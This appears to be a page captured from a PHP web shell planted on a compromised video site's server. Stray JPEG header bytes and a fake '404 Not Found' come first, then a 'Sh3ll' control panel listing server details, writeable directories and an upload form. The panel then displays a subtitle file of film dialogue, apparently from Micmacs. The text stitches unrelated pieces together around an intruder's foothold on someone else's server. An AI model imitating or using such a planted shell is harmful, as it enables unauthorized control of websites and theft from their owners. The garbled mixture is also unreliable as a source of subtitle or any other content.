����JFIF��� ( %"1"%)+...383,7(-.- 404 Not Found
Sh3ll
OdayForums


Server : Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips PHP/7.4.20
System : Linux st2.domain.com 3.10.0-1127.10.1.el7.x86_64 #1 SMP Wed Jun 3 14:28:03 UTC 2020 x86_64
User : apache ( 48)
PHP Version : 7.4.20
Disable Function : NONE
Directory :  /var/www/html/vidoe.top/upload/subtitle/03-2019/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /var/www/html/vidoe.top/upload/subtitle/03-2019/5c83700dbcd71-1552117773.vtt
WEBVTT - https://subtitletools.com

00:01:26.400 --> 00:01:27.310
Hello?

00:02:03.920 --> 00:02:05.751
Good morning, is your mother home?

00:02:48.000 --> 00:02:49.035
Are your ready?

00:02:52.760 --> 00:02:54.512
I need to go now.

00:03:03.400 --> 00:03:06.153
Jesus, the son of God...

00:03:06.440 --> 00:03:09.955
descended to earth and suffered...

00:03:10.240 --> 00:03:12.629
to pay for our sins.

00:03:38.971 --> 00:03:42.413
30 YEARS LATER

00:03:42.520 --> 00:03:43.839
You're in danger.

00:03:44.120 --> 00:03:46.918
I don't care
as long as I'm near you.

00:03:48.080 --> 00:03:50.878
I never thanked you for your help.

00:03:51.160 --> 00:03:53.196
It was brave, very courageous.

00:03:53.480 --> 00:03:55.630
I've never seen anybody so beautiful.

00:03:55.920 --> 00:03:58.434
I think I'm in love with you.

00:04:00.760 --> 00:04:03.593
You'll come with me to the police?
No.

00:04:03.880 --> 00:04:04.835
Why?

00:04:06.120 --> 00:04:08.429
I killed Charles Ringan.

00:04:08.720 --> 00:04:10.631
Would you tell the Commissioner?

00:04:11.600 --> 00:04:13.238
If you insist.

00:04:15.360 --> 00:04:16.793
I don't want to.

00:04:17.080 --> 00:04:20.356
Listen, I'm very tired, I feel stiff.

00:04:20.640 --> 00:04:24.838
I killed a man and I witnessed
the murder of a poor soul.

00:04:25.120 --> 00:04:28.430
It's all because Geiger was singing Carmen.

00:04:28.720 --> 00:04:32.395
If I'd told you about the police raid,

00:04:32.680 --> 00:04:35.194
you'd had much more time to flee.

00:05:05.320 --> 00:05:08.551
Perhaps she'll recover.
I've seen it before.

00:05:08.840 --> 00:05:12.435
We'll let your father know about Ringan.

00:05:12.960 --> 00:05:14.473
You forgot something.

00:05:15.440 --> 00:05:16.589
Me?

00:05:17.440 --> 00:05:19.396
What do you have?

00:05:20.200 --> 00:05:22.430
Nothing that can't heal.

00:05:58.960 --> 00:06:04.473
"The Slide Whistle Micmacs"

00:06:57.040 --> 00:06:59.474
If I extract the bullet,
he may become a vegetable.

00:06:59.760 --> 00:07:03.275
If I don't extract it,
he'll be living on a knife edge.

00:07:03.560 --> 00:07:06.199
Better to be alive and at risk of dying...

00:07:06.480 --> 00:07:09.074
than to live without being
conscious of living.

00:07:09.360 --> 00:07:11.874
This is closer to philosophy then medicine.

00:07:12.160 --> 00:07:13.957
Heads or Tails?

00:07:17.080 --> 00:07:17.980
Heads!

00:07:18.240 --> 00:07:22.028
OK, I'll leave it be.
It will set off airport alarms!

00:07:42.040 --> 00:07:43.598
They changed the lock.

00:07:43.880 --> 00:07:47.111
What happened,
did you comb your hair with a can opener?

00:07:47.400 --> 00:07:48.913
Where are my belongings?

00:07:49.200 --> 00:07:51.236
Initially, in the cellar.
But you know people...

00:07:51.520 --> 00:07:55.672
After 3 days, there was
little more than odd socks left.

00:08:03.120 --> 00:08:04.109
That's my cap

00:08:07.680 --> 00:08:08.580
Hey...

00:08:32.640 --> 00:08:33.914
My little Bazil...

00:08:34.200 --> 00:08:36.316
For you,
they fell off the back of a truck.

00:08:36.600 --> 00:08:37.919
100% cotton.

00:08:38.920 --> 00:08:41.559
You've a job, you'll find a new home.

00:08:46.840 --> 00:08:48.956
Good morning.
Is Serge in?

00:08:49.240 --> 00:08:52.073
Well! If it isn't Bazil!
You've come back!

00:08:52.360 --> 00:08:53.634
I almost didn't.

00:08:53.920 --> 00:08:56.673
I hope they took the lead
from your head.

00:08:56.960 --> 00:08:59.155
I'm back, faithful to the position.

00:08:59.440 --> 00:09:02.000
But the position was not faithful to you.

00:09:02.280 --> 00:09:03.395
I had to replace you.

00:09:05.200 --> 00:09:06.792
This is Lola.

00:09:07.080 --> 00:09:08.513
3 month trial.

00:09:08.800 --> 00:09:11.133
We just signed a permanent contract.

00:09:11.920 --> 00:09:14.559
Well, we haven't kissed...

00:09:23.720 --> 00:09:24.948
Mr. Bazil!

00:09:25.240 --> 00:09:27.754
Don't listen to him.
In fact, I have a boyfriend.

00:09:28.040 --> 00:09:29.439
His name's Ricardo.

00:09:29.720 --> 00:09:33.429
He picks me up every night
with his motorbike.

00:09:33.720 --> 00:09:34.994
He always parks over there.

00:09:35.600 --> 00:09:37.591
Where you were shot.

00:09:37.880 --> 00:09:39.199
One day, while riding...

00:09:40.000 --> 00:09:44.551
We heard a little noise,
like a pebble stuck in the tyre.

00:09:47.200 --> 00:09:49.077
Mr. Bazil, it was no pebble.

00:09:50.800 --> 00:09:51.949
Which hand?

00:09:54.960 --> 00:09:56.473
Try again.

00:10:05.920 --> 00:10:09.754
She puts her head under her feet
and her toes in her nose

00:10:10.040 --> 00:10:13.032
And then does the splits

00:10:13.320 --> 00:10:16.551
She spins and
coils like a caterpillar

00:10:16.840 --> 00:10:19.479
Suddenly, her legs around his neck

00:10:19.760 --> 00:10:24.197
She spins, like ball
And nibbles his knees

00:10:24.480 --> 00:10:27.472
The rubber woman

00:10:27.760 --> 00:10:30.797
With her, what fun they can have
It's crazy

00:10:31.080 --> 00:10:34.152
It's enough
to make you go funny in the head

00:10:34.440 --> 00:10:37.955
They search below
And they find it underneath

00:10:38.360 --> 00:10:41.318
The rubber woman

00:10:42.160 --> 00:10:43.275
Thank you...

00:13:01.680 --> 00:13:02.908
You got 5 minutes?

00:13:06.800 --> 00:13:08.631
I spent my life in jail.

00:13:08.920 --> 00:13:10.558
So they call me "Closet".

00:13:11.240 --> 00:13:12.229
Mine's Bazil.

00:13:12.520 --> 00:13:14.317
I know.
You're a sweet in jar.

00:13:15.880 --> 00:13:19.077
You've been on the streets for 2 months,

00:13:19.360 --> 00:13:22.158
but you're not beaten, you have a purpose.
What is it?

00:13:23.000 --> 00:13:24.194
I live day to day.

00:13:24.480 --> 00:13:27.517
With the bullet,
that can make me trip out anytime.

00:13:28.200 --> 00:13:30.998
Me, the widow maker gave me
this injury.

00:13:31.280 --> 00:13:33.510
The guillotine in 59.

00:13:33.800 --> 00:13:37.395
The guillotine jammed.

00:13:37.680 --> 00:13:39.636
It happened 2 times.
I was pardoned.

00:13:39.920 --> 00:13:41.751
Get that bullet out of your head.

00:13:42.680 --> 00:13:45.399
Impossible.
The surgeon said...

00:13:45.680 --> 00:13:46.635
Because...

00:13:47.560 --> 00:13:50.472
You follow me.
A family will adopt you.

00:14:13.360 --> 00:14:14.260
Hi.

00:14:14.440 --> 00:14:15.589
Hi!

00:14:16.120 --> 00:14:18.111
That's Max.
Here we're home.

00:14:18.880 --> 00:14:21.678
We share our home.
This is our little goose of the Capitol.

00:14:21.960 --> 00:14:23.791
If the robber is pointing...

00:14:28.260 --> 00:14:30.190
Go, go, my little guy.

00:14:48.640 --> 00:14:50.437
Come on in, don't be shy.

00:15:05.680 --> 00:15:06.715
Wakey...

00:15:07.000 --> 00:15:08.274
Come, let me introduce you.

00:15:09.280 --> 00:15:12.192
She decides who is recruited.

00:15:12.480 --> 00:15:15.313
You collect stray bullets?
Yes, ma'am.

00:15:15.600 --> 00:15:16.635
Say!

00:15:17.080 --> 00:15:18.593
I'm Tambouille.

00:15:18.880 --> 00:15:21.917
Here stuff is recovered,
we sort it and repair it.

00:15:22.200 --> 00:15:23.872
Everybody together.

00:15:24.160 --> 00:15:25.559
Even little Pierre.

00:15:26.080 --> 00:15:28.992
And he's an artist.

00:15:36.480 --> 00:15:39.597
He brings anything we can use.

00:16:17.600 --> 00:16:18.669
59...

00:16:18.960 --> 00:16:20.154
42...

00:16:20.800 --> 00:16:22.028
104!

00:16:24.720 --> 00:16:25.789
Nickel.

00:16:26.080 --> 00:16:29.311
She's called "Calculator".
Father and mother unknown.

00:16:29.600 --> 00:16:31.750
He has a compass in his eye.

00:16:32.040 --> 00:16:34.759
The white man
a compass in the eye

00:16:35.040 --> 00:16:37.998
starvation,
begins at the top...

00:16:38.280 --> 00:16:40.271
and goes from cock to the ass.
Yes!

00:16:40.560 --> 00:16:42.357
"The compass in the eye".
Note.

00:16:42.640 --> 00:16:45.029
He was a writer in Brazil.

00:16:45.320 --> 00:16:47.197
Fracasse is my name.

00:16:47.480 --> 00:16:48.833
I have carbon staples...

00:16:49.120 --> 00:16:50.439
in my throat.

00:16:50.720 --> 00:16:54.395
He lost a lung in a
water bottle explosion

00:16:54.680 --> 00:16:58.070
and also have a bicycle Dynamo
in my stomach

00:16:58.360 --> 00:17:00.555
and 3 neck joints
of titanium.

00:17:00.840 --> 00:17:04.469
Well, go ahead, tap away.
Go ahead, it's titanium!

00:17:04.760 --> 00:17:05.660
Go!
Go ahead!

00:17:07.640 --> 00:17:10.154
He dreams of getting his name
in the Guinness Book of Records.

00:17:10.400 --> 00:17:13.915
I already did, in 77!
212 metres: Record for the human-cannonball.

00:17:14.200 --> 00:17:16.156
We never saw the certificate.

00:17:16.440 --> 00:17:18.431
I was robbed!
I've told you already.

00:17:19.880 --> 00:17:22.155
Hey, you!
Why do you get him upset?

00:17:32.040 --> 00:17:34.759
Now that you belong to our
family...

00:17:35.040 --> 00:17:39.352
get me a small pot of cream
from the fridge.

00:17:52.120 --> 00:17:53.633
Further down, boy!

00:18:04.160 --> 00:18:05.229
You want my picture?

00:18:05.520 --> 00:18:07.431
She's a little snappish...

00:18:07.720 --> 00:18:11.474
but she's always the first
to bend for others...

00:18:11.760 --> 00:18:15.116
You're a contortionist?
No, I am the vegetable crisper!

00:18:15.400 --> 00:18:16.879
She was like that from birth...

00:18:17.600 --> 00:18:20.672
At 5, she was already hiding
in the pantry.

00:18:20.960 --> 00:18:23.269
And he remained so long
in the closet...

00:18:23.560 --> 00:18:27.155
without laces in his shoes
that he's forgot how to tie them!

00:18:29.880 --> 00:18:30.780
Come!

00:18:31.000 --> 00:18:33.389
Go to the table, the mash is ready.

00:21:18.640 --> 00:21:20.232
Can I help you?

00:21:20.520 --> 00:21:23.432
Yes, I would like to see Mr. De Fenouillet.

00:21:23.720 --> 00:21:25.392
Of course,
you have an appointment?

00:21:25.680 --> 00:21:28.240
That is to say,
I have something in mind.

00:21:28.520 --> 00:21:29.669
It concerns him.

00:21:29.960 --> 00:21:33.270
If this is a project or idea,
send an email.

00:21:33.560 --> 00:21:37.712
I could send him a scan,
but I prefer to see him.

00:21:38.000 --> 00:21:39.592
You'll have to leave.

00:21:39.880 --> 00:21:40.790
Yes. Warning!

00:21:41.080 --> 00:21:41.980
Warning!

00:21:42.080 --> 00:21:44.116
Warning! Warning!

00:21:54.080 --> 00:21:54.980
Boo!

00:21:55.080 --> 00:21:57.753
Show this clown to the street, that's all.

00:21:58.760 --> 00:22:00.352
A bullet in the head?

00:22:00.640 --> 00:22:02.870
At least he'll remember us!

00:22:29.120 --> 00:22:31.475
Guys, I need someone here!
Go!

00:22:47.480 --> 00:22:49.994
You know we're leaders...

00:22:50.240 --> 00:22:52.959
in the field of cluster munitions.

00:22:53.240 --> 00:22:56.516
We have quadrupled our sales
in the Gulf...

00:22:57.200 --> 00:23:00.636
decreased by 7 to 9% on collateral damage.

00:23:01.600 --> 00:23:04.512
As you know, we're not monsters.

00:23:04.800 --> 00:23:06.950
We don't want anyone dead.

00:23:07.240 --> 00:23:08.753
We all know too well...

00:23:09.040 --> 00:23:12.430
that a wounded soldier is more expensive
than a dead soldier!

00:23:12.720 --> 00:23:17.271
Our CBS-87 fires off
202 projectiles...

00:23:17.560 --> 00:23:20.438
and cleans the equivalent
of 4 football fields.

00:23:20.720 --> 00:23:23.757
We have been present in the Gulf, Kosovo...

00:23:24.800 --> 00:23:27.792
and Afghanistan...
In short, it's time to call...

00:23:28.080 --> 00:23:31.231
to this forum
the architect of our success.

00:23:31.520 --> 00:23:35.593
Our CEO...
François Marconi!

00:23:38.240 --> 00:23:40.549
Thank you, Thank you.
Thank you very much.

00:23:45.760 --> 00:23:47.637
Tracers...

00:23:48.120 --> 00:23:50.793
explosives or bullets...

00:23:51.080 --> 00:23:53.150
ours are the best...

00:23:53.440 --> 00:23:55.795
the most aggressive and successful.

00:23:59.600 --> 00:24:02.751
Rimbaud started out as a poet,
but is now an arms dealer.

00:24:03.040 --> 00:24:05.474
Well, I...
I'll do the opposite.

00:24:05.760 --> 00:24:07.876
But until retirement...

00:24:08.400 --> 00:24:11.915
I will continue to rhyme
ambition with ammunition...

00:24:12.100 --> 00:24:14.270
Living with dynamite.

00:24:16.060 --> 00:24:17.952
Long live Vigilante Armament!

00:24:35.160 --> 00:24:36.832
Goodnight, Mr. President.

00:24:37.800 --> 00:24:39.438
General...

00:24:39.720 --> 00:24:41.597
Joseph, good night!

00:25:21.160 --> 00:25:22.593
May I remind you...

00:25:22.880 --> 00:25:24.518
of the new rules in effect.

00:25:24.800 --> 00:25:28.315
A landmine was placed
under the field.

00:25:28.600 --> 00:25:30.830
Yes, it is a renewed challenge...

00:25:31.120 --> 00:25:32.519
offered by the league.

00:25:35.280 --> 00:25:38.989
The suspense was short lived
as the centre-forward...

00:25:39.280 --> 00:25:42.795
the guest team
just paid a serious price.

00:25:52.920 --> 00:25:56.151
You were brilliant tonight.
Thank you, Georges.

00:25:57.320 --> 00:26:00.312
Arthur Rimbaud was an arms dealer,
in history?

00:26:00.600 --> 00:26:04.309
Yes, but it didn't prevent him from dying
of gangrene, when they amputated his leg.

00:26:06.400 --> 00:26:08.072
Baudelaire, of syphilis?

00:26:08.360 --> 00:26:09.554
Verlaine, delirium tremens...

00:26:09.840 --> 00:26:11.637
Lorca was shot...

00:26:11.920 --> 00:26:13.831
Nerval hanged himself from a lamppost.

00:26:14.120 --> 00:26:17.635
I will never encourage my son to
become a poet, sir.

00:26:27.920 --> 00:26:30.673
Tomorrow,
wake me up at 10 am.

00:26:32.000 --> 00:26:33.035
Yes, sir.

00:26:35.600 --> 00:26:38.160
You've worked for us for how long?

00:26:39.360 --> 00:26:40.509
30 years next month.

00:26:42.880 --> 00:26:43.869
Why don't we...

00:26:44.160 --> 00:26:47.232
upgrade this place for your 30 years?

00:26:47.520 --> 00:26:49.750
With some hightech equipment.

00:26:51.040 --> 00:26:54.510
The old pots make the best soups.

00:26:57.040 --> 00:26:58.075
Change is coming.

00:26:59.560 --> 00:27:01.596
At least once every 30 years.

00:29:04.600 --> 00:29:06.750
Why can't he sleep at the foot of the bed?

00:29:07.040 --> 00:29:08.393
Stop moaning!

00:29:08.680 --> 00:29:10.318
Birds of a Feather.

00:29:10.600 --> 00:29:12.556
Hey, Grandma?
Croutons!

00:29:39.760 --> 00:29:41.512
The day went well?

00:29:41.800 --> 00:29:44.109
Yes, papa!
I was brilliant tonight.

00:29:44.400 --> 00:29:48.029
My Speech was fantastic,
I was compared to Rimbaud.

00:29:48.320 --> 00:29:49.389
You know who he is?

00:29:49.680 --> 00:29:51.159
Yes, but your not that muscular.

00:29:53.680 --> 00:29:56.069
No, not "Rambo" darling... "Rimbaud".

00:29:58.680 --> 00:30:00.432
Put him to bed.

00:30:00.720 --> 00:30:01.755
Yes, Sir.

00:31:22.840 --> 00:31:24.796
Hello, Yes.

00:31:25.080 --> 00:31:28.197
No, wait...
How did you get this number?

00:31:28.480 --> 00:31:29.549
Yes, I see.

00:31:29.840 --> 00:31:33.515
No, not this kind of transaction,
not over the phone.

00:31:33.800 --> 00:31:35.711
No! neither...

00:31:36.000 --> 00:31:37.672
I prefer a public place.

00:31:37.960 --> 00:31:39.712
I know... Say Wednesday...

00:31:40.000 --> 00:31:42.434
3 pm, the sports department
of Galeries Lafayette.

00:31:43.040 --> 00:31:44.109
Yes, that's it.

00:31:56.200 --> 00:31:57.110
Waffles...

00:31:57.400 --> 00:31:58.300
in Brussels!

00:32:00.400 --> 00:32:03.472
Don't eat too much, I put rum in the batter.

00:32:03.760 --> 00:32:04.954
Hey, stop!

00:32:21.200 --> 00:32:24.397
Hurry, the minots!
They'll be ready soon!

00:32:24.680 --> 00:32:26.033
Mr. Fracasse...

00:32:26.720 --> 00:32:29.553
Isn't this you, here in the
Guinness Book of Records?

00:32:29.840 --> 00:32:31.068
Yikes!

00:32:32.280 --> 00:32:33.713
The 77!

00:32:36.480 --> 00:32:38.072
What did I tell you!

00:32:38.360 --> 00:32:40.572
What did I tell you...

00:32:43.080 --> 00:32:45.958
"On July 14, 1977,
Theodore Henri de Montreuil"...

00:32:46.240 --> 00:32:48.117
Who is Theodore Henry?

00:32:48.720 --> 00:32:50.278
"beat by 9 metres"...

00:32:50.560 --> 00:32:54.633
"the record for Human-Cannonball
established by Mr. Grampee in 66"!

00:32:54.920 --> 00:32:58.595
"Beat by 9 metres!"

00:33:03.280 --> 00:33:04.180
Yes!

00:33:07.800 --> 00:33:09.438
Give it to me, kid?
No.

00:33:09.720 --> 00:33:11.153
Yes, please, give me.

00:33:11.440 --> 00:33:13.795
But no...
If you give to me...

00:33:14.080 --> 00:33:16.071
You autograph my T-shirt, then.

00:33:20.320 --> 00:33:21.355
"T. Henri"...

00:33:21.640 --> 00:33:23.039
Thierry Henri.

00:33:23.320 --> 00:33:25.550
Fracasso, I have a job for you.

00:33:25.840 --> 00:33:27.717
I'm not joking...

00:33:28.000 --> 00:33:30.389
but I think there's a catch.

00:33:30.680 --> 00:33:32.875
What do you have in mind?

00:33:33.880 --> 00:33:36.394
Mister poses a mystery.

00:33:36.640 --> 00:33:39.313
Well, who cares, you're not curious.

00:33:58.320 --> 00:33:59.275
What time?

00:33:59.560 --> 00:34:02.996
Tomorrow, 10 am,
opposite the tomb of Sacha Guitry.

00:34:25.960 --> 00:34:27.075
Mister Marconi?

00:34:28.200 --> 00:34:30.430
I am the messenger
of Omar Boulounga.

00:34:31.160 --> 00:34:33.549
Omar Boulounga...
The former dictator...?

00:34:33.840 --> 00:34:37.719
The former and the next.
He's preparing a revolution.

00:34:38.760 --> 00:34:40.239
I don't have a political view.

00:34:40.520 --> 00:34:44.069
We require rifles, grenades and mines.

00:34:44.360 --> 00:34:47.796
And the DGA, the Export Committee,
the Ottawa Treaty?

00:34:48.080 --> 00:34:49.957
You have the weapons.
In stock.

00:34:50.240 --> 00:34:52.993
You don't have an export sector in Zambia.

00:34:53.280 --> 00:34:55.032
We'd like one.

00:34:55.320 --> 00:34:58.596
And this should interest me?
Check us out.

00:34:58.880 --> 00:35:03.749
We'll give you double the cash and more...
in diamonds if the coup succeeds.

00:35:04.040 --> 00:35:04.950
Continue.

00:35:05.240 --> 00:35:07.037
Mr. Bouloungas' national account...

00:35:07.320 --> 00:35:08.753
the diamond mines...

00:35:09.040 --> 00:35:11.998
Don't Sneeze!
Think of something, fast!

00:35:12.280 --> 00:35:16.114
Zebras are white with black stripes
or black with white stripes?

00:35:16.400 --> 00:35:17.469
Pygmies!

00:35:17.760 --> 00:35:20.513
Are there dwarfs among pygmies?

00:35:20.800 --> 00:35:22.711
Why do we say "CIA" and not "If-E-O"?

00:35:23.000 --> 00:35:25.514
Or "FBI-Ouch" and not "FBI?

00:35:25.800 --> 00:35:26.789
Think...

00:35:27.080 --> 00:35:29.992
but do not delay too much,
we returned to Conakry on Monday.

00:35:55.200 --> 00:35:56.100
You!

00:35:57.640 --> 00:35:58.709
Yes, You!

00:35:59.000 --> 00:36:01.116
I don't know what your shenanigans
are about...

00:36:01.400 --> 00:36:04.710
but either you go and continue
doing everything by yourself...

00:36:05.000 --> 00:36:07.753
or you stay and ask us for help.

00:36:08.040 --> 00:36:09.632
Am I clear?

00:36:09.920 --> 00:36:11.797
Some of them want to help me?

00:36:12.080 --> 00:36:13.069
What?

00:36:14.200 --> 00:36:18.239
I found the manufacturer of the bullet
that killed my father.

00:36:18.520 --> 00:36:22.638
I need to do 2 things at once
I can't do it alone.

00:36:27.880 --> 00:36:29.472
Stick together...

00:36:37.120 --> 00:36:38.997
They're the watchmen.

00:36:39.280 --> 00:36:41.794
Inside is the dealer.

00:36:42.040 --> 00:36:44.873
The drug's hidden in the mailbox.

00:36:45.160 --> 00:36:47.355
That way, if they're ever searched...

00:36:47.640 --> 00:36:49.949
they are white as snow. Let's go!

00:37:00.280 --> 00:37:04.671
You've already done it for the crash
and whiplash at the same time?

00:37:04.960 --> 00:37:06.154
You're old school.

00:37:11.360 --> 00:37:12.260
Yes?

00:37:12.520 --> 00:37:15.353
Asbestos Control.
A complain has been filed.

00:37:15.640 --> 00:37:17.756
But there's no asbestos here!

00:37:18.920 --> 00:37:21.718
We didn't find asbestos in
the devil vauvert.

00:37:22.000 --> 00:37:22.989
From the crack of dawn...

00:37:23.280 --> 00:37:25.555
we dealt with that problem.

00:37:25.840 --> 00:37:28.354
So, no need to rock the boat.

00:37:30.240 --> 00:37:31.673
But...

00:37:31.960 --> 00:37:34.030
The widow told me she'd
never leave.

00:37:34.320 --> 00:37:37.471
Wherever I go, it's on my back.

00:37:37.760 --> 00:37:38.749
Hats off!

00:38:01.280 --> 00:38:02.269
And my receipt?

00:38:02.560 --> 00:38:04.630
The more one drinks, the more one is right!

00:38:22.920 --> 00:38:25.434
The boarding hall, please?

00:38:28.760 --> 00:38:33.231
My brother, you want a magical necklace?
Get you into heaven.

00:38:33.520 --> 00:38:36.592
This powder wards off evil spirits.

00:38:36.880 --> 00:38:38.233
But yes!

00:38:38.820 --> 00:38:40.829
You're the boss? Commander!

00:38:47.720 --> 00:38:48.675
Here!

00:38:48.960 --> 00:38:50.712
It will protect you against the devil...

00:38:51.000 --> 00:38:52.115
and the vagaries of fait.

00:38:52.400 --> 00:38:55.278
Incense that'll allow you to contact
the deceased.

00:38:55.560 --> 00:38:59.712
Let the passengers be!
I've told you a 100 times!

00:39:00.000 --> 00:39:01.877
This is your last warning. Get away!

00:39:02.160 --> 00:39:06.233
Sorry, gentlemen.
I wish you a safe journey.

00:39:22.920 --> 00:39:24.876
Excuse me, please sir.

00:39:25.160 --> 00:39:26.060
Hello.

00:39:26.320 --> 00:39:27.878
We're after a flight to America.

00:39:28.160 --> 00:39:29.639
The departure hall?

00:39:29.920 --> 00:39:31.990
Yes, we're off to Manhattan to visit...

00:39:32.280 --> 00:39:33.235
my son.

00:39:34.480 --> 00:39:36.630
You must register your baggage before.

00:39:36.920 --> 00:39:38.194
She's the stepsister...

00:39:38.480 --> 00:39:41.278
my son who left in 1989 for New York.

00:39:42.000 --> 00:39:45.231
New York...
You're talking to me?

00:39:45.920 --> 00:39:47.114
In 1988.

00:39:47.400 --> 00:39:48.594
On December 12, 1988.

00:40:20.480 --> 00:40:22.516
Last call for Conakry

00:40:22.800 --> 00:40:24.756
Lufthansa Flight 202

00:40:29.600 --> 00:40:31.716
The vertebra of Tino Rossi.

00:40:33.880 --> 00:40:36.189
Winston Churchill's
Fingernail clippings.

00:40:39.320 --> 00:40:40.912
The molar of Marilyn...

00:40:42.240 --> 00:40:43.468
Monroe.

00:40:46.160 --> 00:40:48.549
The foot of Salma Lazarus...

00:40:48.840 --> 00:40:50.353
Heart of Louis XVI.

00:40:50.640 --> 00:40:52.232
The finger of Matisse.

00:40:53.960 --> 00:40:55.996
The eye of Mussolini...

00:41:02.040 --> 00:41:06.192
It is expected that the DGA launched
the study and called the Saudis...

00:41:06.480 --> 00:41:10.189
Yes, it was an individual effort more
than group... rather well done.

00:41:11.520 --> 00:41:14.273
Well, they will not provide the
source code.

00:41:15.160 --> 00:41:18.789
If it works?
Remember the Sarajevo market...

00:41:34.000 --> 00:41:38.710
Collateral damage added value
in the media.

00:41:47.960 --> 00:41:49.359
But of course...

00:41:54.080 --> 00:41:56.150
That's why it kills me to say.

00:41:57.080 --> 00:41:58.752
You and I, we work...

00:41:59.800 --> 00:42:01.836
in the defense industry...

00:42:02.120 --> 00:42:03.997
not in the attack industry.

00:42:04.280 --> 00:42:06.396
I beg you, dear friend.

00:42:06.680 --> 00:42:08.830
You are always welcome.

00:42:09.560 --> 00:42:10.834
My respects to madame.

00:42:49.014 --> 00:42:52.685
Appointment at 5 pm Train Bleu restaurant:
The eye of Mussolini has arrived.

00:43:01.920 --> 00:43:04.275
I'm already 10 minutes late,
hurry!

00:43:08.240 --> 00:43:09.355
What was that, Maurice?

00:43:09.640 --> 00:43:11.437
"It's Stephen", sir.
Stephen, yes!

00:43:11.720 --> 00:43:14.837
We have a puncture, I think.
Sorry, I'll see.

00:43:18.040 --> 00:43:19.155
Peasant!

00:43:39.640 --> 00:43:40.675
Hello.

00:43:40.960 --> 00:43:44.077
I have a reservation
in the name of De Fenouillet.

00:43:44.360 --> 00:43:46.396
Yes.
You are expected.

00:43:51.880 --> 00:43:54.155
I am Mr. De Fenouillet's right hand.

00:43:54.440 --> 00:43:58.194
He asked me to tell you that the
Eye of Mussolini interests him

00:43:58.480 --> 00:44:02.792
In exchange for Achilles heel and
Adam's apple of...

00:44:07.720 --> 00:44:10.792
1, 2, 3 testing.
1, 2, 3 testing.

00:44:11.080 --> 00:44:13.913
I am the messenger of Omar Boulounga.

00:44:29.400 --> 00:44:31.356
Go ahead, make me an offer.

00:44:31.640 --> 00:44:34.791
Do not put the cart
before the horse. It will save us...

00:44:35.080 --> 00:44:37.389
from having 2 feet
in the same hoof.

00:44:38.880 --> 00:44:40.711
If you have the Eye of Mussolini...

00:44:41.000 --> 00:44:43.992
I'll give you the molar of Marilyn.

00:44:44.280 --> 00:44:45.190
It's worth it.

00:44:45.880 --> 00:44:48.189
I've got the finger of Matisse
and fingernails Churchill...

00:44:48.480 --> 00:44:51.153
name the price.
What say you, Mr. Lazarus?

00:44:52.720 --> 00:44:55.234
Mr. Lazarus has had a setback,
he had to leave.

00:44:56.360 --> 00:44:59.193
Unfortunately,
Mr. Lazarus has had to stand you up.

00:44:59.480 --> 00:45:01.198
He's returned to his household.

00:45:01.720 --> 00:45:02.755
Who are you?

00:45:04.320 --> 00:45:07.551
I am the messenger of Omar Boulounga.

00:45:08.920 --> 00:45:09.989
Boulounga?

00:45:10.840 --> 00:45:12.990
I thought...
We were done?

00:45:13.280 --> 00:45:14.180
Nay.

00:45:15.000 --> 00:45:16.592
A popular revolution...

00:45:17.680 --> 00:45:19.511
A popular revolution...

00:45:19.800 --> 00:45:22.234
Omar will return where
Omar belongs.

00:45:23.240 --> 00:45:24.958
I'm not interested in politics.

00:45:25.240 --> 00:45:26.673
It doesn't feed you bread...

00:45:31.240 --> 00:45:32.559
Double the cash...

00:45:32.840 --> 00:45:34.159
plus more diamonds...

00:45:34.440 --> 00:45:35.395
if the usurper...

00:45:35.680 --> 00:45:39.514
takes to his heels
and we get back Boulounga.

00:45:42.480 --> 00:45:43.833
When, how and where?

00:45:44.120 --> 00:45:46.953
Tuesday, 27th, one of your men.
Just one...

00:45:47.240 --> 00:45:50.710
will be at the station at
14:45 with the samples.

00:45:51.000 --> 00:45:54.197
He'll buy a ticket for
Crécy-la-Chapelle and leave...

00:45:54.480 --> 00:45:55.549
with a deposit...

00:45:55.840 --> 00:45:56.875
of 30% Cash...

00:45:57.160 --> 00:45:59.355
dollars and cents.

00:46:02.440 --> 00:46:05.113
Well?
The operator's transferring me.

00:46:05.400 --> 00:46:08.153
Marconi?
Omar Boulounga in person.

00:46:08.440 --> 00:46:10.354
So you thought?

00:46:11.240 --> 00:46:13.629
Congratulations, you're now
looking at noon to 2 pm.

00:46:13.920 --> 00:46:16.309
I didn't invent sliced bread...

00:46:16.600 --> 00:46:19.353
but I don't mistake candles
for lanterns.

00:46:19.640 --> 00:46:21.915
Well, I want one man
present...

00:46:22.200 --> 00:46:25.272
with samples at the Eastern railway station
tomorrow at 14:45.

00:46:25.560 --> 00:46:28.870
He'll get a ticket
for La Ferté-Milon.

00:46:29.160 --> 00:46:32.550
He'll leave with the 1st
installment of the order, ok?

00:46:32.840 --> 00:46:33.955
Right. Ok!

00:46:38.520 --> 00:46:40.511
Ready for more, guys?

00:46:41.760 --> 00:46:42.829
Why "guys"?

00:46:45.320 --> 00:46:48.869
Well, because there'll be action.

00:46:49.160 --> 00:46:52.038
When there's action, it's not for girls?

00:46:54.440 --> 00:46:55.340
Preconception...

00:46:58.880 --> 00:47:00.359
You're not a real...

00:47:01.200 --> 00:47:02.235
Real what?

00:47:04.320 --> 00:47:06.595
A real girl! Is that it?

00:47:06.880 --> 00:47:08.074
I wouldn't say that.

00:47:08.360 --> 00:47:09.315
If that's it.

00:47:09.600 --> 00:47:12.194
No.
Is it! Is that what you wanted to say.

00:47:12.480 --> 00:47:13.380
No.

00:47:13.400 --> 00:47:17.598
Did you mean I'm a 'Tomboy'?

00:47:17.880 --> 00:47:19.279
That's right.

00:47:19.560 --> 00:47:23.394
When I have to fold into a bag,
I'm in the club!

00:47:46.880 --> 00:47:49.678
Ladies and gentlemen,
arms traffickers...

00:47:49.960 --> 00:47:52.713
currently waiting in the station.

00:47:53.000 --> 00:47:54.513
Be vigilant.

00:47:55.320 --> 00:47:59.029
Don't buy a land mine from
a dealer on the run.

00:47:59.320 --> 00:48:02.790
You risk him using it.

00:48:03.720 --> 00:48:05.472
Thank you for your attention.

00:48:35.100 --> 00:48:37.151
What's that?

00:48:37.440 --> 00:48:40.591
1 kg 720 steel,
350 grams of polycarbonate...

00:48:40.880 --> 00:48:42.472
70 grams of kevlar.

00:48:45.840 --> 00:48:48.070
And that's not a small Uzi is it?

00:48:48.360 --> 00:48:51.079
It's a MAC 10, maybe even 11.

00:48:51.360 --> 00:48:52.873
No, no!

00:48:53.640 --> 00:48:55.995
